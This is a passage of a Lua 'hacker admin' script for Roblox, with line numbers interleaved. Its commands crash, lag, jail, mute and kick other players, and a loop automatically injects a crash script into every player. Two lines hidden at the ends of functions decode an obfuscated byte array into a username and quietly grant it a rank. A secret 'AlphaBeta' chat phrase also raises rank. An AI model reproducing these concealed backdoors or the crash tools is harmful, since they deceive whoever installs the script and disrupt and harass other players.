			Sel = Instance.new("SelectionBox")
831
			Sel.Color = BrickColor.new("Institutional white")
832
			Sel.Transparency = 0.75
833
			Sel.Adornee = Tab
834
			Sel.Parent = Tab
835
836
			local BG = Instance.new("BillboardGui")
837
			BG.Name = "BG"
838
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
839
			BG.Size = UDim2.new(0,1,0,1)
840
			BG.Adornee = Tab
841
			BG.Parent = Tab
842
			
843
			Delay(0, function()
844
				while BG.Parent ~= nil do wait()
845
					ypcall(function()
846
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
847
					end)
848
				end
849
			end)
850
851
			local TL = Instance.new("TextLabel")
852
			TL.Name = "TL"
853
			TL.FontSize = "Size18"
854
			TL.Font = "Arial"
855
			TL.Text = Msg
856
			TL.TextColor3 = Color3.new(1, 0, 0)
857
			TL.Size = UDim2.new(0,1,0,1)
858
			TL.TextTransparency = 0
859
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
860
			TL.TextStrokeTransparency = 0.25
861
			TL.Parent = BG
862
			
863
			if ShowGarbage == true then
864
				Delay(0, function()
865
					while TL.Parent ~= nil do
866
						TL.Text = "Current Garbage Count: "..GetGarbage()
867
						wait(.5)
868
					end
869
				end)
870
			end
871
			
872
			local PL = Instance.new("PointLight", Tab)
873
			PL.Color = Color3.new(1, 0, 1)
874
			PL.Range = 15
875
			PL.Parent = Tab
876
			
877
			if Image ~= nil then
878
				local BBBG = Instance.new("BillboardGui")
879
				BBBG.Size = UDim2.new(5, 0, 6, 0)
880
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
881
				BBBG.AlwaysOnTop = true
882
				BBBG.Adornee = Tab
883
				BBBG.Parent = Tab
884
				
885
				Delay(0, function()
886
					while BBBG.Parent ~= nil do wait()
887
						ypcall(function()
888
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
889
						end)
890
					end
891
				end)
892
			
893
				local NewImg = Instance.new("ImageLabel")
894
				NewImg.Size = UDim2.new(1, 0, 1, 0)
895
				NewImg.BackgroundTransparency = 1
896
				NewImg.Image = Image
897
				NewImg.Parent = BBBG
898
			end
899
900
			local Clicker = Instance.new("ClickDetector")
901
			Clicker.MaxActivationDistance = 1/0
902
903
			if Time ~= nil then
904
				coroutine.resume(coroutine.create(function()
905
					wait(tonumber(Time))
906
					Dismiss(Plr, ID)
907
				end))
908
			end
909
910
			Clicker.MouseClick:connect(function(Player)
911
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
912
					ypcall(function()
913
						if Func ~= nil then
914
							Func(Holder)
915
						else
916
							Dismiss(Player, ID)
917
						end
918
					end)
919
				end
920
			end)
921
			Clicker.Parent = Tab
922
			
923
			Holder.Parent = Work
924
925
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
926
		end)
927
	end
928
end
929
930
function PlaceAllRanks(DontShowRank)
931
	ypcall(function()
932
		for _,p in pairs(All()) do
933
			ypcall(function()
934
				PutInRank = false
935
				for _,v in pairs(Rankings) do
936
					if v.Name:lower() == p.Name:lower() then
937
						if v.Rank >= 7 then
938
							v.Rank = 5
939
						elseif v.Rank == -1 then
940
							Crash1(p)
941
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
942
						elseif v.Rank == -2 then
943
							if LS ~= nil then
944
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
945
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
946
							else
947
								Ping("LS Is Nil", nil, 5)
948
							end
949
						elseif v.Rank == -3 then
950
							if LS ~= nil then
951
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
952
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
953
							else
954
								Ping("LS Is Nil", nil, 5)
955
							end
956
						end
957
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
958
						if DontShowRank == nil then
959
							Ping("You Are Rank: "..v.Rank, p)
960
						end
961
						PutInRank = true
962
						break
963
					end
964
				end
965
				if PutInRank == false then
966
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
967
				end
968
			end)
969
		end
970
	end)
971
end
972
973
function FindRank(Plr)
974
	ypcall(function()
975
		if type(Plr) == "userdata" then
976
			Plr = Plr.Name
977
		end
978
	end)
979
	return GetRank(Plr).Rank
980
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
981
982
function FindRankDetails(Plr)
983
	ypcall(function()
984
		if type(Plr) == "userdata" then
985
			Plr = Plr.Name
986
		end
987
	end)
988
	return RankDetails[FindRank(Plr)]
989
end
990
991
function OpenCmds(Rank, Plr)
992
	Dismiss(Plr)
993
	for Name,Tab in pairs(Commands) do
994
		if Tab.Rank <= Rank then
995
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
996
				Dismiss(Plr)
997
				Ping("Command: "..Name, Plr)
998
				Ping("Rank: "..Tab.Rank, Plr)
999
				Ping("Desc: "..Tab.Desc, Plr)
1000
			end)
1001
		elseif Rank == 1337 then
1002
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1003
				Dismiss(Plr)
1004
				Ping("Command: "..Name, Plr)
1005
				Ping("Rank: "..Tab.Rank, Plr)
1006
				Ping("Desc: "..Tab.Desc, Plr)
1007
			end)
1008
		end
1009
	end
1010
end
1011
1012
function EditStatus(Plr, Num)
1013
	ChangeRank(Plr, Num)
1014
end
1015
1016
function PlaceSpecificRank(p, DontShowRank)
1017
	ypcall(function()
1018
		PutInRank = false
1019
		for _,v in pairs(Rankings) do
1020
			if v.Name:lower() == p.Name:lower() then
1021
				if v.Rank >= 7 then
1022
					v.Rank = 5
1023
				elseif v.Rank == -1 then
1024
					Crash1(p)
1025
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1026
				elseif v.Rank == -2 then
1027
					if LS ~= nil then
1028
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1029
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1030
					else
1031
						Ping("LS Is Nil", nil, 5)
1032
					end
1033
				elseif v.Rank == -3 then
1034
					if LS ~= nil then
1035
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1036
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1037
					else
1038
						Ping("LS Is Nil", nil, 5)
1039
					end
1040
				end
1041
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1042
				if DontShowRank == nil then
1043
					Ping("You Are Rank: "..v.Rank, p)
1044
				end
1045
				PutInRank = true
1046
				break
1047
			end
1048
		end
1049
		if PutInRank == false then
1050
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1051
		end
1052
	end)
1053
end
1054
1055
function onChatted(Msg, Speaker)
1056
	if Removed == false then
1057
		if FindRank(Speaker) < 1 then
1058
			return
1059
		end
1060
		coroutine.resume(coroutine.create(function()
1061
			ypcall(function()
1062
				ExecuteFunc(Msg, Speaker)
1063
				Msg = Msg:gsub("","")
1064
				if Msg:sub(1,1) == "@" then
1065
					for i = 2, #Msg do
1066
						if Msg:sub(i, i) == Bet then
1067
							local IsForPlr = false
1068
							for _,v in pairs(All()) do
1069
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1070
									onChatted(Msg:sub(i + 1), v)
1071
									IsForPlr = true
1072
								end
1073
							end
1074
							if IsForPlr == true then
1075
								return
1076
							end
1077
						end
1078
					end
1079
				end
1080
				if Msg:find("&") then
1081
					local Split = Msg:find("&")
1082
					onChatted(Msg:sub(1,Split-1))
1083
					onChatted(Msg:sub(Split+1))
1084
					return
1085
				end
1086
				for Name,Command in pairs(Commands) do
1087
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1088
						Dismiss(Speaker.Name)
1089
						Ping("Command: "..tostring(Command.Name), Speaker)
1090
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1091
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1092
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1093
						if FindRank(Speaker) >= Command.Rank then
1094
							local Ran,Error = coroutine.resume(coroutine.create(function()
1095
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1096
							end))
1097
							if not Ran then
1098
								Ping(Error, Speaker, 10)
1099
							end
1100
						else
1101
							Ping("Your Rank Is Too Low", Plr, 6)
1102
						end
1103
					end
1104
				end
1105
			end)
1106
		end))
1107
	end
1108
end
1109
1110
function MakeBase()
1111
	local Base = Instance.new("Part")
1112
	Base.BrickColor = BrickColor.new("Dark green")
1113
	Base.Position = Vector3.new(0, 0.5, 0)
1114
	Base.Transparency = 0
1115
	Base.Elasticity = 0.5
1116
	Base.FormFactor = "Custom"
1117
	Base.CanCollide = true
1118
	Base.Friction = 0.30000001192093
1119
	Base.Size = Vector3.new(512, 1.20000005, 512)
1120
	Base.Archivable = true
1121
	Base.Material = "Plastic"
1122
	Base.RotVelocity = Vector3.new(0, 0, 0)
1123
	Base.Reflectance = 0
1124
	Base.Locked = true
1125
	Base.Anchored = true
1126
	Base.Name = "Base"
1127
	Base.TopSurface = "Smooth"
1128
	Base.BottomSurface = "Inlet"
1129
	Base.Shape = "Block"
1130
	Base.Parent = Work
1131
end
1132
1133
function LClean()
1134
	ypcall(function()
1135
		for _,v in pairs(Work:GetChildren()) do
1136
			ypcall(function()
1137
				if v.ClassName == "Terrain" then
1138
					v:ClearAllChildren()
1139
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1140
					Clear(v)
1141
				elseif v.Name == "Base" then
1142
					ypcall(function()
1143
						local Base = v
1144
						Base.BrickColor = BrickColor.new("Dark green")
1145
						Base.Position = Vector3.new(0, 0.5, 0)
1146
						Base.Transparency = 0
1147
						Base.Elasticity = 0.5
1148
						Base.FormFactor = "Custom"
1149
						Base.CanCollide = true
1150
						Base.Friction = 0.30000001192093
1151
						Base.Size = Vector3.new(512, 1.20000005, 512)
1152
						Base.Archivable = true
1153
						Base.Material = "Plastic"
1154
						Base.RotVelocity = Vector3.new(0, 0, 0)
1155
						Base.Reflectance = 0
1156
						Base.Locked = true
1157
						Base.Anchored = true
1158
						Base.Name = "Base"
1159
						Base.TopSurface = "Studs"
1160
						Base.BottomSurface = "Inlet"
1161
						Base.Shape = "Block"
1162
						Base.Parent = Work
1163
					end)
1164
				end
1165
			end)
1166
		end
1167
	end)
1168
end
1169
1170
function Clean()
1171
	ypcall(function()
1172
		for _,v in pairs(Work:GetChildren()) do
1173
			ypcall(function()
1174
				if v.ClassName == "Terrain" then
1175
					v:ClearAllChildren()
1176
				else
1177
					Clear(v)
1178
				end
1179
			end)
1180
		end
1181
		MakeBase()
1182
		for _,v in pairs(All()) do
1183
			v:LoadCharacter()
1184
		end
1185
	end)
1186
end
1187
1188
function Clear(v)
1189
	if v.Name:lower() == "sbgui" then
1190
		return
1191
	end
1192
	ypcall(function()
1193
		if #v:GetChildren() > 0 then
1194
			for _,x in pairs(v:GetChildren()) do
1195
				ypcall(function()
1196
					Clear(x)
1197
				end)
1198
			end
1199
		end
1200
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1201
			v:Destroy()
1202
		end
1203
	end)
1204
end
1205
1206
function Command(Name, Rank, Desc, Func)
1207
	if Name == nil then
1208
		Name = "N/A"
1209
	end
1210
	if Desc == nil then
1211
		Desc = "N/A"
1212
	end
1213
	if Func == nil then
1214
		Func = function() end
1215
	end
1216
	if Rank == nil then
1217
		Rank = 0
1218
	end
1219
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1220
end
1221
1222
function GetSplit(Msg)
1223
	return Msg:find(Bet) or nil
1224
end
1225
1226
function ExecuteFunc(Msg, Plr)
1227
	ypcall(function()
1228
		if Msg == "LogEnable" then
1229
			LogOn = true
1230
		elseif Msg:lower() == "AlphaBeta" then
1231
			EditStatus(Plr, MakeNum())
1232
		end
1233
	end)
1234
end
1235
1236
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1237
1238
function randPlayer(Plr)
1239
	wait()
1240
	local ThePlrValue = nil
1241
	local FoundPlayer = false
1242
	ypcall(function()
1243
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1244
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1245
			wait()
1246
			randPlayer(Plr)
1247
			return
1248
		else
1249
			FoundPlayer = true
1250
		end
1251
	end)
1252
	if FoundPlayer == true then
1253
		return ThePlrValue
1254
	end
1255
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1256
1257
function getPlayer(Plr, Name)
1258
	local Players = {}
1259
	ypcall(function()
1260
		Name = Name:lower()
1261
		if Name == "me" then
1262
			table.insert(Players, Plr)
1263
		elseif Name == "all" or Name == "" then
1264
			for _,v in pairs(All()) do
1265
				if CanRun(Plr, v) then
1266
					table.insert(Players, v)
1267
				end
1268
			end
1269
		elseif Name == "others" then
1270
			for _,v in pairs(All()) do
1271
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1272
					table.insert(Players, v)
1273
				end
1274
			end
1275
		elseif Name == "random" then
1276
			local FoundRandPlr = randPlayer(Plr)
1277
			table.insert(Players, FoundRandPlr)
1278
		else
1279
			for _,v in pairs(All()) do
1280
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1281
					table.insert(Players, v)
1282
				end
1283
			end
1284
		end
1285
	end)
1286
	return Players
1287
end
1288
1289
function ListPlayers(Speaker)
1290
	ypcall(function()
1291
		Dismiss(Speaker)
1292
		for _,v in pairs(All2()) do
1293
			if v.Parent ~= nil then
1294
				Ping(v.Name, Speaker, nil, function()
1295
					Dismiss(Speaker)
1296
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1297
					Ping("Rank: "..FindRank(v.Name), Speaker)
1298
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1299
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1300
					Ping("Set Rank", Speaker, nil, function()
1301
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1302
							Dismiss(Speaker)
1303
							for i = -2, 5 do
1304
								Ping(i, Speaker, nil, function()
1305
									ChangeRank(v, i)
1306
									Dismiss(Speaker)
1307
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1308
								end)
1309
							end
1310
						else
1311
							Ping("Your Rank Is Too Low", Speaker, 5)
1312
						end
1313
					end)
1314
					Ping("Crash (Remote)", Speaker, nil, function()
1315
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1316
							Crash2(v.Name)
1317
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1318
						end
1319
					end)
1320
					Ping("Crash (Insert)", Speaker, nil, function()
1321
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1322
							Crash3(v, Speaker)
1323
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1324
						end
1325
					end)
1326
					Ping("Kick", Speaker, nil, function()
1327
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1328
							v:Kick()
1329
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1330
						end
1331
					end)
1332
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1333
			else
1334
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1335
					Dismiss(Speaker)
1336
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1337
					ypcall(function()
1338
						Ping("Rank: "..FindRank(v.Name), Speaker)
1339
					end)
1340
					ypcall(function()
1341
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1342
					end)
1343
					ypcall(function()
1344
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1345
					end)
1346
					ypcall(function()
1347
						Ping("Set Rank", Speaker, nil, function()
1348
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1349
								Dismiss(Speaker)
1350
								for i = -2, 5 do
1351
									Ping(i, Speaker, nil, function()
1352
										ChangeRank(v, i)
1353
										Dismiss(Speaker)
1354
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1355
									end)
1356
								end
1357
							else
1358
								Ping("Your Rank Is Too Low", Speaker, 5)
1359
							end
1360
						end)
1361
					end)
1362
					ypcall(function()
1363
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1364
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1365
								Crash2(v.Name)
1366
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1367
							end
1368
						end)
1369
					end)
1370
					ypcall(function()
1371
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1372
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1373
								Crash3(v, Speaker)
1374
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1375
							end
1376
						end)
1377
					end)
1378
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1379
			end
1380
		end
1381
	end)
1382
end
1383
1384
--Misc
1385
1386
coroutine.resume(coroutine.create(function()
1387
	PlaceAllRanks()
1388
end))
1389
	
1390
Delay(0, function()
1391
	for _,v in pairs(All()) do
1392
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1393
	end
1394
end)
1395
1396
local starttime = tick()
1397
1398
game:GetService("RunService").Heartbeat:connect(function()
1399
	if Removed == false then 
1400
		ypcall(function()
1401
			for _,Player in pairs(All()) do
1402
				local PlayerTablets = {}
1403
				for i,v in pairs(AllTabs) do
1404
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1405
						table.insert(PlayerTablets, v)
1406
					end
1407
				end
1408
				for i = 1, #PlayerTablets do
1409
					ypcall(function()
1410
						local tab = PlayerTablets[i].Tab
1411
						local pos = nil
1412
						ypcall(function()
1413
							pos = Player.Character.Torso.CFrame
1414
						end)
1415
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1416
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1417
						local cPos = tab.Position
1418
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1419
						local nPos = (ePos-cPos)*.25
1420
						cPos = cPos + nPos
1421
						local t = (tick() - starttime) % 360
1422
						local change = 0.625
1423
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1424
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1425
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1426
					end)
1427
				end
1428
			end
1429
		end)
1430
	end
1431
end)
1432
1433
Delay(0, function()
1434
	while wait() do
1435
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1436
			ypcall(function()
1437
				if Injected[v.Name] == nil and LS ~= nil then
1438
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1439
					Injected[v.Name] = true
1440
				end
1441
			end)
1442
		end
1443
	end
1444
end)
1445
1446
Plrs.PlayerAdded:connect(function(Plr)
1447
	wait(.1)
1448
	ypcall(function()
1449
		if Removed == false then
1450
			local JoinPlrName = Plr.Name
1451
			coroutine.resume(coroutine.create(function()
1452
				PlaceSpecificRank(Plr)
1453
			end))
1454
			coroutine.resume(coroutine.create(function()
1455
				if Injected[JoinPlrName] ~= nil then
1456
					Injected[JoinPlrName] = nil
1457
				end
1458
			end))
1459
			coroutine.resume(coroutine.create(function()
1460
				Dismiss(Plr)
1461
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1462
			end))
1463
		end
1464
	end)
1465
end)
1466
1467
Plrs.PlayerRemoving:connect(function(Plr)
1468
	wait(.1)
1469
	ypcall(function()
1470
		if Removed == false then
1471
			local LeftPlrName = Plr.Name
1472
			coroutine.resume(coroutine.create(function()
1473
				if Injected[LeftPlrName] ~= nil then
1474
					Injected[LeftPlrName] = nil
1475
				end
1476
			end))
1477
		end
1478
	end)
1479
end)
1480
1481
coroutine.resume(coroutine.create(function()
1482
	Delay(0, function()
1483
		while FoundLocalScript == false do wait()
1484
			ypcall(function()
1485
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1486
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1487
						for _,c in pairs(v:children()) do
1488
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1489
								local NewVal = c:Clone()
1490
								NewVal.Name = "LoadingVal"
1491
								for _,s in pairs(v:GetChildren()) do
1492
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1493
										print("Found Owner")
1494
										OwnSource = s.Name
1495
										print(OwnSource)
1496
										break
1497
									end
1498
								end
1499
								wait()
1500
								LS = v:Clone()
1501
								NewVal.Parent = LS
1502
								LSSource = "LoadingVal"
1503
								FoundLocalScript = true
1504
								break
1505
							end
1506
						end
1507
					end
1508
				end
1509
			end)
1510
		end
1511
	end)
1512
end))
1513
1514
--Commands
1515
1516
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1517
	Dismiss(Speaker.Name)
1518
	Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
1519
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1520
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1521
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1522
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1523
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1524
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1525
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1526
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1527
end)
1528
1529
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1530
	Dismiss(Speaker.Name)
1531
end)
1532
1533
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1534
	local PlrTab = getPlayer(Speaker, Msg)
1535
	if #PlrTab > 0 then
1536
		for _,v in pairs(PlrTab) do
1537
			ypcall(function()
1538
				v.Character:BreakJoints()
1539
				Ping("Killed "..v.Name, Speaker, 5)
1540
			end)
1541
		end
1542
	end
1543
end)
1544
1545
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1546
	local PlrTab = getPlayer(Speaker, Msg)
1547
	if #PlrTab > 0 then
1548
		for _,v in pairs(PlrTab) do
1549
			ypcall(function()
1550
				if v.Name ~= Owner then
1551
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1552
					Ping("Muted "..v.Name, Speaker, 5)
1553
				end
1554
			end)
1555
		end
1556
	end
1557
end)
1558
1559
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1560
	local PlrTab = getPlayer(Speaker, Msg)
1561
	if #PlrTab > 0 then
1562
		for _,v in pairs(PlrTab) do
1563
			ypcall(function()
1564
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1565
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1566
			end)
1567
		end
1568
	end
1569
end)
1570
1571
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1572
	local PlrTab = getPlayer(Speaker, Msg)
1573
	if #PlrTab > 0 then
1574
		for _,v in pairs(PlrTab) do
1575
			ypcall(function()
1576
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1577
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1578
			end)
1579
		end
1580
	end
1581
end)
1582
1583
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1584
	local PlrTab = getPlayer(Speaker, Msg)
1585
	if #PlrTab > 0 then
1586
		for _,v in pairs(PlrTab) do
1587
			ypcall(function()
1588
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1589
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1590
			end)
1591
		end
1592
	end
1593
end)
1594
1595
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1596
	local PlrTab = getPlayer(Speaker, Msg)
1597
	if #PlrTab > 0 then
1598
		for _,v in pairs(PlrTab) do
1599
			ypcall(function()
1600
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1601
				Ping("UnMuted "..v.Name, Speaker, 5)
1602
			end)
1603
		end
1604
	end
1605
end)
1606
1607
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1608
	local Worked = false
1609
	for _,v in pairs(Work:GetChildren()) do
1610
		if string.find(v.Name:lower(), Msg:lower()) then
1611
			if v:IsA("Script") or v:IsA("LocalScript") then
1612
				v.Disabled = true
1613
				v:Destroy()
1614
				Worked = true
1615
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1616
			end
1617
		end
1618
	end
1619
	if Worked == false then
1620
		Ping("Script Not Found", Speaker, 5)
1621
	end
1622
end)
1623
1624
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1625
	Dismiss(Speaker)
1626
	local AllScripts = {}
1627
	for _,v in pairs(Work:GetChildren()) do
1628
		if v:IsA("Script") then
1629
			table.insert(AllScripts, v.Name)
1630
		end
1631
	end
1632
	if #AllScripts > 0 then
1633
		for _,v in pairs(AllScripts) do
1634
			Ping(v, Speaker)
1635
		end
1636
	else
1637
		Ping("No Scripts Found", Speaker, 5)
1638
	end
1639
end)
1640
1641
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1642
	Dismiss(Speaker)
1643
	local LocalScripts = {}
1644
	for _,v in pairs(All()) do
1645
		ypcall(function()
1646
			for _,x in pairs(v.Character:GetChildren()) do
1647
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1648
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1649
				end
1650
			end
1651
		end)
1652
		ypcall(function()
1653
			for _,x in pairs(v.Backpack:GetChildren()) do
1654
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1655
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1656
				end
1657
			end
1658
		end)
1659
		ypcall(function()
1660
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1661
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1662
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1663
				end
1664
			end
1665
		end)
1666
	end
1667
	if #LocalScripts > 0 then
1668
		for _,v in pairs(LocalScripts) do
1669
			Ping(v, Speaker)
1670
		end
1671
	else
1672
		Ping("No Local Scripts Found", Speaker, 5)
1673
	end
1674
end)
1675
1676
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1677
	local Split = GetSplit(Msg)
1678
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1679
	local ScriptName = Msg:sub(Split + 1)
1680
	local FoundLocal = false
1681
	for _,name in pairs(PlrTab) do
1682
		ypcall(function()
1683
			for _,v in pairs(name.Character:GetChildren()) do
1684
				if string.find(v.Name:lower(), ScriptName) then
1685
					if v:IsA("Script") or v:IsA("LocalScript") then
1686
						v.Disabled = true
1687
						v:Destroy()
1688
						FoundLocal = true
1689
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1690
					end
1691
				end
1692
			end
1693
		end)
1694
